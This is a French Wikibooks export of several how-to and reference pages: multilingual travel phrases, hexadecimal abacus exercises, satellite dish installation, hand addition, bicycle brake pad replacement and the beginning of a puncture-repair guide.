(«&nbsp;naïn&nbsp;») *Où sont les toilettes ?: ''Wo ist die Toilette?'' /'vo '?ist '?di: ?toi'lEt:@/ («&nbsp;vau ist dii twalè.t&nbsp;») *Santé !: ''prosit'' /pRo'zit/ («&nbsp;prauzi.t&nbsp;») *Parlez-vous français ?: ''Sprechen Sie Französisch?'' («&nbsp;chprèrheun zie fra.ntseuzich&nbsp;») *Je ne comprends pas : ''Ich verstehe nicht.'' /'IC ?fER'Ste:@ '?nICt/ («&nbsp;ikh ferchtéheu nicht&nbsp;») *Pardon : ''Entschuldigung'' /Ent'SUldIgUN/ («&nbsp;èntchouldigoung&nbsp;») ==[[w:langue arabe|Arabe]]== *Arabe: '''arabiya'' / عربية *Bonjour: ''As-salam 'alaykoum'' / السلام عليكم *Au revoir: ''Ma' as-salama'' / مع السلامة *SVP: ''Men fadlek'' / من فضلك *Merci: ''Choukran'' / شكراً *Ceci: ''Hada'' / هذا *Combien ?: ''Kam ?'' / كم ؟ *Français: ''Faransiy'' / فرنسيّ *Oui: ''n'am'' / نعم *non: ''La'' / لا *Où sont les toilettes ?: ''Ayna al-mirhad ?'' / أين المرحاض ؟ *Santé !: ''Bessaha !'' / ! بصحّة *Parlez-vous français ?: ''Hal tatakallamou bel faransiya ?'' / هل تتكلّم بالفرنسيّة ؟ *Je ne comprends pas : ''Lam afham'' / لم أفهم *Pardon : '''afouan'' / عفواً ==[[w:langue amazighe|Tamazight]]== *Amazigh: ''Tamazight'' / *Bonjour: ''Tifawin'' / *Au revoir: ''Ar timnilit'' / *S'il vous plaît : ''Tanemmirt'' / *Merci : ''Tanemmirt'' / *Ceci : ''aya'' / *Combien ? : ''Mecta?'' / *Oui : ''Ih'' / *Non : ''Uhu'' / *Pardon : ''Suref-i'' / *Santé! : ''S ulzay!'' / *Je ne comprends pas : ''Ur ukizegh kra'' / *Où sont les toilettes ? : ''Mani g illa ubduz?'' / *Parlez-vous français ? : ''Is da tsawaled tafransist?'' == [[w:langue espagnole|Espagnol]] == *Espagnol: español /espa'ɲol/ («&nbsp;espagnol&nbsp;»)- castellano /kaste'ʎano/, /kaste'ʝano/ («&nbsp;castéyano&nbsp;») *Bonjour: hola /'ola/ - buenos días *Au revoir: adiós /a'ð̞jos/ *SVP: por favor [por fa'β̞or] («&nbsp;porfabor&nbsp;») *Merci: gracias /'graθjas/, /'grasjas/ («&nbsp;grassiass&nbsp;») *Ceci: éso /'eso/ («&nbsp;esso&nbsp;») *Combien?: cuánto /'kwanto/ («&nbsp;couannto&nbsp;») *Français: francés («&nbsp;franncèss&nbsp;») *Oui: sí /'si/ *Non: no /'no/ *Où sont les toilettes?: ¿Dónde está el baño? /'dondes'tael'β̞aɲo/ («&nbsp;donndéstaèlbagno&nbsp;») *Santé!: salud /sa'luð̞/ («&nbsp;salou(d)&nbsp;») *Parlez-vous français?: ¿Habla usted francés? /ˈaβ̞lawsˈteð̞/ («&nbsp;ablaoustè(d)franncèss&nbsp;») *Je ne comprends pas: no comprendo /nokom'prendo/ («&nbsp;nocommprènndo&nbsp;»), no entiendo /noen'tjendo/ («&nbsp;noènntiènndo&nbsp;») *Pardon: perdón /per'ð̞on/ («&nbsp;perdonn&nbsp;») == [[w:Espéranto|Espéranto]] == *Espéranto : ''Esperanto'' «Éspérr'''ann'''to» *Bonjour : ''Bonan tagon'' «Bonn'''ann''' tag'''onn'''» *Au revoir : ''Gxis revido'' «Dj'''iss''' rrév'''id'''o» *SVP : ''Bonvolu'' «B'''onn'''volou» *Merci : ''Dankon'' «D'''ann'''konn» *Ca : ''Tio'' «'''T'''io» *Combien ? : ''Kiom'' «'''K'''iom» *Français : ''Franca'' «Frr'''ann'''tsa» *Oui : ''Jes'' «'''Y'''éss» *Non : ''Ne'' «'''N'''é» *Je ne comprends pas : ''Mi ne komprenas'' «'''M'''i '''n'''é komprr'''én'''ass» *Où sont les toilettes ? : ''Kie estas la necesejo?'' «'''Ki'''é ést'''ass''' la néts'''éss'''éyo?» *Santé ! : ''Sanon!'' «Sann'''onn'''!» *Pardon : ''Pardonu'' «Parr'''donn'''ou» == [[w:Italien|Italien]]== *Italien : ''italiano'' /ita'ljano/ («&nbsp;italyâno&nbsp;») *Bonjour : ''buongiorno'' *Salut : ''Ciao'' /'ʧao/ («&nbsp;tchâw&nbsp;») *Bonne nuit : '' buona notte'' *Au revoir : ''arrivederci'' /arːive'derʧi/ («&nbsp;arrivédèrtchi&nbsp;») *SVP : ''per favore'' /per fa'vore/ («&nbsp;pèr favoré&nbsp;») *Merci : ''grazie'' /'gradzje/ («&nbsp;graatsyé&nbsp;») *Ceci : ''questo'' /'kwesto/ («&nbsp;kwèsto&nbsp;») (masculin); ''questa'' /'kwesta/ («&nbsp;kwèsta&nbsp;») (feminin) *Combien ? : ''quanto'' /'kwanto/ («&nbsp;kwa.nto&nbsp;») *Français : ''francese'' /frantSeze/ («&nbsp;fra.ntchéézé&nbsp;») *Oui : ''sì'' /si/ (si) *Non : ''no'' /no/ (no) *Je ne comprends pas : ''non capisco'' /noŋ ka'pisko/ («&nbsp;no.n capisko&nbsp;») *Où sont les toilettes ? : ''dov'è il bagno?'' /do'vɛ il 'baɲo/ («&nbsp;dovè il banyo&nbsp;») *Santé ! : ''salute'' /salute/ («&nbsp;salouté&nbsp;»); ''cincin'' /ʧin'ʧin/ («&nbsp;tchi.n tchi.n&nbsp;») *Pardon: ''scusa'' /'skuza/ («&nbsp;scouza&nbsp;»); ''scusi'' /'skuzi/ («&nbsp;scouzi&nbsp;») (poli) ==[[w:Coréen|Coréen]]== *Coréen : ''한국어'' /haN gug O/ («&nbsp;hang-gougo&nbsp;») *Bonjour : ''안녕하세요'' /annjONhasejo/ («&nbsp;&nbsp;») *Au revoir : ''안녕히가세요'' ou ''안녕히계세요'' /annjONi-kasejo/ respectivement /annjONi-kjesejo/ («&nbsp;&nbsp;») [le premier mot est utilisé lorsque l'autre part, le second lorsque l'autre reste, la signification littérale étant "partez en paix" respectivement "restez en paix"] *SVP : ''~요'' /jo/ («&nbsp;yô&nbsp;») [attention, il s'agit d'une terminaison de verbe. Le mot SVP n'est pas utilisé en Coréen.] *Merci : ''감사합니다'' /kamsa-hamnida/ («&nbsp;&nbsp;») *Ceci : ''이것은'' /igOs1n/ («&nbsp;&nbsp;») *Combien: ''얼마'' ou ''몃'' /Olma/ respectivement /mjOt/ («&nbsp;&nbsp;») [le premier mot pour dire "combien &ccedil;a co&ucirc;te?", le second pour dire combien de personnes] *Oui : ''네'' /ne/ («&nbsp;&nbsp;») *Non : ''아니요'' /anijo/ («&nbsp;&nbsp;») *Pardon: ''죄송합니다'' /dZo_XesoNhamnida/ («&nbsp;&nbsp;») *Je ne comprends pas : ''이해 할 수 없어요'' /ihE hal su ObsOjo/ («&nbsp;&nbsp;») *Où sont les toilettes : ''화장실이 어디 있서요?'' /hwadZaNSiri Odi issOjo/ («&nbsp;&nbsp;») *Santé : ''건배'' /kOmbE/ («&nbsp;&nbsp;») *Parlez-vous Français : ''불어를 할줄 아세요?'' /purOr1l haldZul asejo/ («&nbsp;&nbsp;») ==[[w:Japonais|Japonais]]== Les accents circonflèxes indiquent des voyelles longues (deux fois la durée normale). Ne pas appuyer les 'ne' et les 'se', svp (ie. e muet). *Japonais : ''日本語'' /ni ho n go/ («&nbsp;ni-onnego&nbsp;») *Bonjour : ''今日は'' /ko n:i tSi wa/ («&nbsp;conne nitchi oua&nbsp;») *Au revoir : ''左様なら'' /sa jo: na ra/ («&nbsp;sayônara&nbsp;») *SVP : ''ください'' /ku da sa i/ (quelque chose «&nbsp;koudassaille&nbsp;»); également: («&nbsp;dôzo&nbsp;») *Merci : ''有難う'' /a ri ga to:/ («&nbsp;aligatô&nbsp;») *Ceci : ''これ'' /ko re/ («&nbsp;kolé&nbsp;») *Combien: ''いくら'' /i ku ra («&nbsp;ikoula&nbsp;») *Oui : ''はい'' /ha i/ ou /haj/ («&nbsp;ha-i&nbsp;» ou «&nbsp;haille&nbsp;») *Non : ''いいえ'' /i: e/ («&nbsp;îé&nbsp;») *Pardon: ''済みません'' («&nbsp;soumimassène&nbsp;») *Je ne comprends pas : ''分りません'' («&nbsp;ouakalimassène&nbsp;») *Où sont les toilettes : ''トイレはどこですか'' /to i re wa do ko de su ka/ («&nbsp;to-ilé oua dokodésseka&nbsp;») *Santé : ''かんぱい'' /ka n pa i/ («&nbsp;kampaille&nbsp;») *Parlez-vous Français : ''フランス語 話せます か'' / ?? ha na se ma su ka/ («&nbsp;foulansougo hanassémasse ka&nbsp;») ==[[w:langue néerlandaise|Néerlandais]]== *Néerlandais: ''Nederlands'' /'ned@rlans/(«&nbsp;nédeurla.nds&nbsp;») *Bonjour: ''goeiedag'' /Guj@'daG/ («&nbsp;ghouyeudagh&nbsp;»); ''hallo'' /ha'lo/ («&nbsp;haleau&nbsp;») *Au revoir: ''tot ziens'' /tQt'sins/ («&nbsp;tot si.ns&nbsp;») *S'il vous plaît : ''alstublieft'' /alsty'blift/ («&nbsp;alstubliift&nbsp;») *Merci : ''dank u'' /'daNky/(«&nbsp;da.ngku&nbsp;») *Ceci : ''dit'' /dIt/(«&nbsp;dét&nbsp;») *Combien : ''hoeveel?'' /hu've:l/ («&nbsp;houvéél&nbsp;») *Oui : ''ja'' /ja/(«&nbsp;ya&nbsp;») *Non : ''nee'' /ne:/ («&nbsp;néé&nbsp;») *Pardon : ''sorry'' /'sQri/ («&nbsp;sori&nbsp;»); ''excuseer me'' /Eksky'ze:r m@/ («&nbsp;èkskuzéér meu&nbsp;») *Je ne comprends pas : ''Ik begrijp het niet'' /Ik b@GrEIp @t nit/ («&nbsp;ék beghrèïp et ni.t&nbsp;») *Où sont les toilettes ? : ''Waar is het toilet?'' /Ba:r Is @t tBa'lEt/ («&nbsp;wâr és et twalè.t&nbsp;») *Santé ! : ''proost'' /pro:st/ («&nbsp;praust&nbsp;») *Parlez-vous français ? : ''Spreekt u Frans?'' /spre:kt y frans/ («&nbsp;spréékt u fra.ns&nbsp;») ==[[w:langue tchèque|Tchèque]]== *Bonjour: ''Dobry Den'' /'dobri dene/ *Au revoir: ''Na schledanau'' /'na skledanao/ *Merci: ''djekujo'' /'diekuio/ *S'il vous plaît: ''Prosim'' /'prossim/ *Oui: ''Ano'' *Non: ''Ne'' /'Né/ *Santé: ''Na zdravi'' == Voir aussi == *[[w:en:Common phrases in different languages|Common phrases in different languages]] *[[w:es:Frases usuales en distintos idiomas|Frases usuales en distintos idiomas]] *[[w:ro:Fraze uzuale în diferite limbi|Fraze uzuale în diferite limbi]] *[[w:zh:不同语言中的共同词组|不同语言中的共同词组]] S'initier au boulier en 10 leçons - Leçon 10 165 11968 2004-07-31T21:23:28Z HB 15 modèle {{Boulier}} '''Leçon 10 - Exercices sur la base hexadécimale .''' ==Additions== {| border="0" cellspacing="0"| |- |align="right" width = "80"|5FE |align="right" width = "80"|356 |align="right" width = "80"|292 |align="right" width = "80"|2AD |align="right" width = "80"|356 |align="right" width = "80"|3E8 |align="right" width = "80"|60A |align="right" width = "80"|16B9 |- |align="right" width = "80"|+ FD |align="right" width = "80"|+ 9D |align="right" width = "80"|+ D6 |align="right" width = "80"|+ 53 |align="right" width = "80"|+ 28D |align="right" width = "80"|+ 2C4 |align="right" width = "80"|+ 102 |align="right" width = "80"|+ 138 |- |align="right" width = "80"|+ 98 |align="right" width = "80"|+ 360 |align="right" width = "80"|+ FA0 |align="right" width = "80"|+ 39C |align="right" width = "80"|+ 13D |align="right" width = "80"|+ 17E |align="right" width = "80"|+ 291 |align="right" width = "80"|+ 246 |- |align="right" width = "80"|+ 19 |align="right" width = "80"|+ 54D |align="right" width = "80"|+ 48 |align="right" width = "80"|+ 3A |align="right" width = "80"|+ 54 |align="right" width = "80"|+ 14 |align="right" width = "80"|+ A8 |align="right" width = "80"|+ 14F |- |align="right" width = "80"|+ 312 |align="right" width = "80"|+ 79C |align="right" width = "80"|+ EB |align="right" width = "80"|+ 264 |align="right" width = "80"|+ EA |align="right" width = "80"|+ 315 |align="right" width = "80"|+ 372 |align="right" width = "80"|+ 41 |- |align="right" width = "80"|''' ABE''' |align="right" width = "80"|''' 143C''' |align="right" width = "80"|''' 143B''' |align="right" width = "80"|''' 93A''' |align="right" width = "80"|''' 85E''' |align="right" width = "80"|''' B53''' |align="right" width = "80"|''' DB7''' |align="right" width = "80"|''' 1BC7''' |} ==Additions et soustractions== {| border="0" cellspacing="0"| |- |align="right" width = "80"|5FE |align="right" width = "80"|356 |align="right" width = "80"|292 |align="right" width = "80"|2AD |align="right" width = "80"|356 |align="right" width = "80"|3E8 |align="right" width = "80"|60A |align="right" width = "80"|16B9 |- |align="right" width = "80"|- FD |align="right" width = "80"|- 9D |align="right" width = "80"|- D6 |align="right" width = "80"|- 53 |align="right" width = "80"|- 28D |align="right" width = "80"|- 2C4 |align="right" width = "80"|- 102 |align="right" width = "80"|- 138 |- |align="right" width = "80"|+ 98 |align="right" width = "80"|+ 360 |align="right" width = "80"|+ FA0 |align="right" width = "80"|+ 39C |align="right" width = "80"|+ 13D |align="right" width = "80"|+ 17E |align="right" width = "80"|+ 291 |align="right" width = "80"|+ 246 |- |align="right" width = "80"|- 19 |align="right" width = "80"|- 54D |align="right" width = "80"|- 48 |align="right" width = "80"|- 3A |align="right" width = "80"|- 54 |align="right" width = "80"|- 14 |align="right" width = "80"|- A8 |align="right" width = "80"|- 14F |- |align="right" width = "80"|+ 312 |align="right" width = "80"|+ 79C |align="right" width = "80"|+ EB |align="right" width = "80"|+ 264 |align="right" width = "80"|+ EA |align="right" width = "80"|+ 315 |align="right" width = "80"|+ 372 |align="right" width = "80"|+ 41 |- |align="right" width = "80"|''' 892''' |align="right" width = "80"|''' 868''' |align="right" width = "80"|''' 11FF''' |align="right" width = "80"|''' 820''' |align="right" width = "80"|''' 29C''' |align="right" width = "80"|''' 5A3''' |align="right" width = "80"|''' A63''' |align="right" width = "80"|''' 16B9''' |} == Conversions== Le tableau ci-dessous peut-être utilisé dans les deux sens : pour une conversion de décimal vers hexadécimal (en gras) ou pour une conversion d'hexadécimal (en gras) vers décimal. {| border="0" cellspacing="0"| |- |align="right" width = "50"|484 |align="right" width = "50"|'''1E4''' |align="right" width = "50"| |align="right" width = "50"|6624 |align="right" width = "50"|'''19E0''' |align="right" width = "50"| |align="right" width = "50"|657 |align="right" width = "50"|'''291''' |align="right" width = "50"| |align="right" width = "50"|425 |align="right" width = "50"|'''1A9''' |- |align="right" width = "50"|284 |align="right" width = "50"|'''11C''' |align="right" width = "50"| |align="right" width = "50"|75 |align="right" width = "50"|'''4B''' |align="right" width = "50"| |align="right" width = "50"|65 |align="right" width = "50"|'''41''' |align="right" width = "50"| |align="right" width = "50"|335 |align="right" width = "50"|'''14F''' |- |align="right" width = "50"|582 |align="right" width = "50"|'''246''' |align="right" width = "50"| |align="right" width = "50"|312 |align="right" width = "50"|'''138''' |align="right" width = "50"| |align="right" width = "50"|5817 |align="right" width = "50"|'''16B9''' |align="right" width = "50"| |align="right" width = "50"|882 |align="right" width = "50"|'''372''' |- |align="right" width = "50"|168 |align="right" width = "50"|'''A8''' |align="right" width = "50"| |align="right" width = "50"|657 |align="right" width = "50"|'''291''' |align="right" width = "50"| |align="right" width = "50"|258 |align="right" width = "50"|'''102''' |align="right" width = "50"| |align="right" width = "50"|1546 |align="right" width = "50"|'''60A''' |- |align="right" width = "50"|789 |align="right" width = "50"|'''315''' |align="right" width = "50"| |align="right" width = "50"|382 |align="right" width = "50"|'''17E''' |align="right" width = "50"| |align="right" width = "50"|708 |align="right" width = "50"|'''2C4''' |align="right" width = "50"| |align="right" width = "50"|1000 |align="right" width = "50"|'''3E8''' |- |align="right" width = "50"|234 |align="right" width = "50"|'''EA''' |align="right" width = "50"| |align="right" width = "50"|84 |align="right" width = "50"|'''54''' |align="right" width = "50"| |align="right" width = "50"|251 |align="right" width = "50"|'''FB''' |align="right" width = "50"| |align="right" width = "50"|1534 |align="right" width = "50"|'''5FE''' |} Wikilivres:Toutes les pages 166 sysop 11969 2004-08-13T13:00:39Z 24.29.135.164 <table> <tr><td align="right"><a href="/w/wiki.phtml?title=Special:Allpages&amp;from=421_(boite_à_jeux)" title ="Special:Allpages">421 (boite à jeux)</a></td><td> à </td><td align="left">Zanzi</td></tr> </table> Image:Panneau travaux.png 167 11970 2004-07-29T14:02:19Z Hibisco-da-Ilha 7 Panneau travaux Panneau travaux Installer une parabole satellite 168 40906 2006-04-25T13:16:23Z 86.220.48.118 '''Préalablement il faut savoir quelles sont les chaînes que vous voulez recevoir''' : * Cas1/les chaînes nationales analogiques TF1, F2, F3, C+, F5/arte, et M6 diffusées en clair par le satellite [[w:Atlantic Bird 3|Atlantic Bird 3]]. * Cas2/les chaines publiques du GR-R diffusées en clair par le satellite [[w:Atlantic Bird 3|Atlantic Bird 3]] * Cas3/les chaînes numériques gratuites ou en clair françaises et étrangères diffusées par le couple [[w:Hot-Bird|Hot-Bird]] et [[w:Astra|Astra]] 1 * Cas 4/ maximum de chaînes gratuites via AB 3, H.B et Astra 1 * Cas5/les offres payantes (cryptées) de [[w:TPS (Télévision par satellite)|TPS]] via Hot-Bird * Cas6/les offres payantes (cryptées) de CanalSat/C+ via Astra * Cas7/ toutes les chaînes en clair et les offres payantes (cryptées de CanalSat/C+ et ou TPS via Astra 1 et Hot-Bird. '''Les moyens''' : *Option 1 : kit analogique basique, 1 [[w:tête universelle|tête universelle]], 1 parabole, 1 [[w:démodulateur|démodulateur]] *Option 2: kit numérique basique numerique 1 tête ou si l'installation capte déjà AB 3, terminal numerique bouclé avec le démodulateur *Option 3 :Les kits commercialisés dans les grandes surfaces ou enseignes de bricolage conviennent. Ils doivent comporter 2 têtes avec un sélecteur [[w:DiSEqC|DiSEqC]] externe ou alors une tête monobloc bisatellite 6° à sélecteur interne,le résultat étant identique = réception de 2 satellites sur une seule [[w:antenne parabolique|parabole]] de taille suffisante, environ 80 cm.) *Option 4: Il existe des kits 3 têtes sur une parabole permettant de recevoir les chaines historiques françaises les chaines publiques de la TNT et l'offre gratuite pan-européenne via. Recepteurs possibles, un binorme analogique + numerique ou un démodulateur + un terminal. Sélecteur Diseqc à 4 entrées. Diamétre parabole 70 à 85 cm. *Option 5: offre TPS [[w:terminal DVB-S|terminal]] de location + parabole à 1 tête offerte *Option 6: offre CS et C+ terminal de location + parabole à 1 tête offerte *Option 7: Terminal avec double lecteur (compatible TPS et ou CS/C+ et ou AB Sat et ou SSR) antenne bisatellite. Une fois le matériel acquis terminal+ câble, fiches F, mât, coude etc, on peut passer au choix de l'emplacement. '''Repérer l'endroit''' : Les satellites sont situés "autour" du Sud, c'est à dire la direction qu'indique l'aiguille de la boussole ou alors la direction du Soleil à midi. Attention le Soleil passe au Sud ( donc aiguille sur 180°) à des moments un peu différents dans l'année et en fonction de la longitude locale. Grosso-modo on admet le Sud vers 13h en hiver, vers 14H en été pour le centre de la France. A midi l'astre lumineux est le plus haut dans le ciel, cet instant ne doit pas être confondu avec 12 H. Il faudra choisir un emplacement compatible (toit, mur, balcon, sol etc..), avec un dégagement libre (sans arbre ou toit) en repérant la direction utile, qui est plutôt au Soleil, en fin de matinée pour Astra 1 et Hot-Bird et en début d'après midi pour Atlantic Bird 3. L'ombre du Soleil de printemps et d'automne peut servir pour estimer l'angle en élévation et les sites possibles. '''Installation et réglage''' : Installer le support, coude ou mât, verticalement. La parabole est en état de marche elle est reliée au recepteur branché à un téléviseur proche. L'antenne est préréglée en élévation en s'appuyant sur la graduation latérale gravée sur le mécanisme. On applique l'angle donné (une trentaine de dégrés) par la notice de montage, qui est fonction de la longitude et latitude du lieu. Faire pivoter la parabole en azimut et l'amener dans la direction du satellite recherché (par exemple 19° pour Astra1) à l'aide d'une boussole que l'on achètera dans un magasin de bricolage, et ceci, toujours en fonction des coordonnées locales, en observant l'écran ou son bargraphe (se reporter au manuel du récepteur satellite). Affiner la réception en élévation et azimut. Serrez fortement. Quant au réglage d'une parabole bisatellite standard, (tête monobloc entrée source dite Hot-Bird dans l'axe du bras, c'est préférable)c'est sans changement, on pointe tout simplement le satellite Hot-Bird 13° (en ayant soin de sélectionner préalablement une de ses chaînes, ex : Euronews), le pointage du satellite Astra 1, 19°, étant acquis automatiquement. '''Diffuser le satellite dans la maison ''' Pour distribuer les signaux du démodulateur ou du terminal ( ou démodulateur-terminal) dans différents endroits du pavillon ( bord piscine, jardin , atelier etc..) ou dans l'appartement, il est possible d'utiliser un transmetteur vidéo sans fil: http://fr.wikipedia.org/wiki/Transmetteur ---- Cet article fait partie du manuel [[Bricolage]]. Faire une addition à la main 169 45265 2006-06-20T15:24:45Z Darkdadaah 440 /* Ajout de nombres entiers à 2 chiffres, avec 1 retenue */ arrangements divers Cet article explique comment additionner des nombres entiers à la main, c'est-à-dire avec papier et crayon, voire même de tête. == Ajout de nombres entiers à 1 chiffre == Il faut pour cela nécessairement connaitre la [[w:table d'addition|table d'addition]]. Rien de mieux que l'entrainement pour cela. La table d'addition suivante est simplifiée : * le zéro n'est pas représenté (puisque ajouter 0 à n'importe quel nombre ne le change pas). La table ne donne donc que les chiffres de 1 à 9 ; * Pour éviter les doublements (et clarifier la lecture), on n'a gardé qu'une seul des additions équivalentes (1+9 et 9+1 par exemple). Restent uniquement les couples de chiffres utiles et à donc connaitre pour additionner. {| style="border:1px solid #aaaaaa; text-align:center" rules="all" cellpadding='10' cellspacing='0' align="center" |+ <big>'''Table d'addition'''</big> |----- bgcolor="#BBFFA5" | width="10%" bgcolor="#AADDAA" | + || width="10%" | 1 || width="10%" | 2 | width="10%" | 3 || width="10%" | 4 || width="10%" | 5 || width="10%" | 6 || width="10%" | 7 | width="10%" | 8 || width="10%" | 9 |----- | bgcolor="#BBFFA5" | 1 || 2 || 3 || 4 | 5 || 6 || 7 || 8 || 9 || bgcolor="#DDDDDD" | 10 |----- | bgcolor="#BBFFA5" | 2 || || 4 || 5 | 6 || 7 || 8 || 9 || bgcolor="#DDDDDD" | 10 || 11 |----- | bgcolor="#BBFFA5" | 3 || || || 6 | 7 || 8 || 9 || bgcolor="#DDDDDD" | 10 || 11 || 12 |----- | bgcolor="#BBFFA5" | 4 || || || | 8 || 9 || bgcolor="#DDDDDD" | 10 || 11 || 12 || 13 |----- | bgcolor="#BBFFA5" | 5 || || || | || bgcolor="#DDDDDD" | 10 || 11 || 12 || 13 || 14 |----- | bgcolor="#BBFFA5" | 6 || || || | || || 12 || 13 || 14 || 15 |----- | bgcolor="#BBFFA5" | 7 || || || | || || || 14 || 15 || 16 |----- | bgcolor="#BBFFA5" | 8 || || || | || || || || 16 || 17 |----- | bgcolor="#BBFFA5" | 9 || || || | || || || || || 18 |} Vous pourrez noter quelques couples particuliers ; les repérer vous sera d'une grande aide pour des additions plus compliquées : * Ceux dont la somme des chiffres font 10 : 2+8 ; 3+7 ; 4+6 ; 5+5. * Ceux dont la somme est inférieure à 10 (en haut à gauche des 10 dans le tableau) * Ceux dont la somme est supérieure à 10 (en bas à droite des 10 dans le tableau) <u>Exemples :</u> * 4+3=7 * 5+1=6 * 6+7=13 * 1+9=10 == Ajout de nombres entiers à 2 chiffres, sans retenue == Il faut d'abord savoir décomposer les nombres à deux chiffres en [[w:unité|unités]] et [[w:dizaine|dizaines]]. <u>Exemple :</u> '''54''' se décompose en '''4''' unités et '''5''' dizaines. Sans retenue signifie que la somme des chiffres des unités et des dizaines séparément n'atteint pas 10. Pour cela, il est utile de connaitre les couples de chiffres qui s'y prêtent (voir table d'addition précédente). <u>Exemple :</u> comment calculer 12 + 53 ? Tout d'abord on remarque (à vue de nez) que : * Somme des unités : 2 + 3 < 10 * Somme des dizaines : 1 + 5 < 10 Donc aucune retenue n'est nécessaire : il suffit de calculer la somme des unités et des dizaines indépendamment ! Cela se fait comme suit : * Somme des unités : 2 + 3 = 5 * Somme des dizaines : 1 + 5 = 6 Donc on a '''5''' aux unités et '''6''' aux dizaines, soit : '''65'''. === Poser l'addition === Il est utile pour la lisibilité de poser les opérations, en inscrivant l'un sous l'autre les deux nombres à additionner et en prenant soin de bien aligner en colonne les unités sous les unités et les dizaines avec les dizaines. Le résultat s'écrira alors aligné en dessous, séparé par une ligne. On pose donc : 12 + 53 _____ = 65 == Ajout de nombres entiers à 2 chiffres, avec 1 retenue == On a une retenue lorsque la somme des unités dépasse 9 (supérieure à 10). <u>Exemple :</u> 16 + 29 * Somme des unités : 6 + 9 = 15 '''> 10''' Il faut alors faire une retenue pour ce calcul. === Exemple pas à pas === Comment calculer '''36 + 57''' ? On remarque que : * Somme des unités : 6 + 7 '''> 10''' donc il nous faudra faire une retenue. ==== Poser l'addition ==== Première chose à faire, poser l'addition : 36 + 57 _____ = ==== Calcul des unités ==== Le calcul s'effectue ensuite en commençant par les unités : * 6 + 7 = 13 Le résultat (13 unités) peut se décomposer en '''3''' unités et '''1''' dizaine. Ce '''1''' dizaine sera donc ajouté aux dizaines de 36 (c'est-à-dire '''3''') et de 57 (c'est-à-dire '''5'''). On dit généralement que l'on « retient 1 » (autrement dit la retenue est 1). On écrit donc le chiffre des unités '''3''' en bas dans la ligne des résultats : 36 + 57 _____ = 3 et la retenue '''1''' est notée (en petit) en haut de la colonne des dizaines : <small>1</small> --> retenue 36 + 57 _____ = 3 ==== Calcul des dizaines ==== Vient ensuite le calcul des dizaines : On calcule la somme des dizaines des deux nombres : * 3 + 5 = 8 puis on y ajoute la retenue : * 8 + '''1''' = 9 On inscrit ce résultat dans la colonne des dizaines : <small>1</small> 36 + 57 _____ = 93 ==== Lecture du résultat ==== Le résultat du calcul de '''36 + 57''' est donc '''93'''. ==Explication== Notre [[w:système de numération|système de numération]] est à base [[w:décimal|décimale]], c'est à dire qu'il comporte 10 chiffres. L'écriture des nombres repose sur la [[w:convention|convention]] suivante : chaque chiffre représente une [[w:exposant|puissance]] de 10, le chiffre le plus à droite concernant l'unité (10 puissance 0). ===exemple=== 102 = 1×10<sup>2</sup> + 0×10<sup>1</sup> + 2x10<sup>0</sup> ===analyse=== Reprenons la somme 12 + 53 : 12 = 1×10 + 2 53 = 5×10 + 3 donc 12 + 53 = 1×10 + 2 + 5×10 + 3 = (1+5)×10 + 5 = 6×10 + 5 = 65 Ce résultat est obtenu par la [[w:distributivité|distributivité]] de la multiplication par rapport à l'addition On voit donc que l'écriture en colonne ne fait que traduire cette propriété. ===et la retenue ?=== 17 + 57 = 1×10 + 7 + 5×10 + 7 = (5 + 1)×10 + 14 = (5 + 1)×10 + 10 + 4 = (5 + 1 + 1)×10 + 4 = 7×10 + 4 = 74 Changer un patin de bicyclette 170 44372 2006-06-12T03:12:55Z 70.51.9.64 /* Réglage */ Le '''changement de patin de [[w:frein|frein]]''' sur une [[w:bicyclette|bicyclette]] est une opération de [[w:bricolage|bricolage]] qui consiste à remplacer des patins ou des plaquettes de freins usés. Il existe de nombreux systèmes de fixation des patins de freins de vélo, mais dans la plupart des cas, une clé hexagonale standard (plate ou tubulaire) ou une clé ''Allen'' suffit pour desserrer les patins. Une fois desserrés, ils peuvent être retirés. ==Montage== Il est conseillé de nettoyer les flancs de la jante (ou du disque, dans le cas de plaquettes) avant d'installer de nouveaux patins, pour éviter d'encrasser les nouveaux patins, ce qui réduirait leur frottement sur la jante et donc leur pouvoir de freinage. Si la jante est usée ou abîmée (en particulier, si elle est rayée), elle est probablement à changer, à moins qu'un polissage parvienne à lui restituer son aspect initial. À défaut, elle pourrait user prématurément les nouveaux patins. Lors de la mise en place des nouveaux patins, il faut faire attention : certains patins ont un sens par rapport au sens de roulement de la roue, généralement mentionné sur leur partie extérieure par une petite flèche. Si le patin est asymétrique (le plot de fixation n'est pas au milieu de la longueur du patin), il faut les monter de manière à ce que la partie longue soit vers l'arrière de la roue. ==Réglage== Principe (valable pour toutes les réparations d'urgence) : Si vous êtes parti pour un long parcours, prévoyez de les remplacer. Il est beaucoup plus facile de réparer dans son atelier qu'au bord de la route. Si vous partez en groupe, ayez en tête que vos coéquipiers n'auront pas le plaisir que vous leur gachiez la randonnée. Avant toute chose, détendre le câble de l'étrier des freins, et inspectez les patins ; certains d'entre eux ont des repères d'usure. Les patins doivent être parallèles à la jante, à une distance d'un millimètre environ. Plus loin, la course du frein risque d'être trop longue tout en n'assurant qu'une force de freinage médiocre ; plus près, le patin risque de toucher la jante, s'user prématurément et rendre les freinages brutaux (avec risque de blocage de la roue). ==Rodage== Les freins de vélo à disque et plaquettes nécessitent d'être rôdés : * en roulant quelques minutes en tirant légèrement sur les freins à de nombreuses reprises ; * en effectuant par la suite plusieurs arrêts brusques. Après le rodage, il faut vérifier de nouveau l'alignement des freins. ==Voir aussi== * [[Poser une rustine]] * [[Réparer un câble de frein]] * [[Dévoiler une roue]] Poser une rustine 171 47164 2006-07-03T07:43:08Z 213.41.92.1 /* Trouver la crevaison */ [[catégorie:Bricolage]] La '''pose d'une rustine''' est une opération de réparation d'une crevaison sur une roue de [[w:bicyclette|bicyclette]]. Cette opération dure d'un quart d'heure à trois jours en fonction de l'expérience. Pour procéder, il faut le matériel de [[w:bricolage|bricolage]] suivant : * une [[w:rustine|rustine]] * du papier abrasif * du dissolvant pour caoutchouc * des démonte-pneus * une pompe à air pour vélo * une bassine d'eau (optionnelle) ==Trouver la crevaison== Il n'est pas nécessaire de démonter la roue pour réparer une crevaison, il suffit de démonter le pneu et la chambre de la jante. Une fois que c'est fait, gonfler légèrement la chambre laisse entendre un sifflement d'air et permet de trouver le trou. Si la crevaison est très légère et ne "siffle" pas, il suffit de tremper la chambre à air légèrement gonflée dans la bassine d'eau : des bulles d'air sortent du trou. Il va sans dire que l'on peut remplacer la bassine d'eau par un seau d'eau ou un bidet. ==Préparation de la réparation et pose de la rustine== L'objectif est de préparer la pose de la rustine. C'est 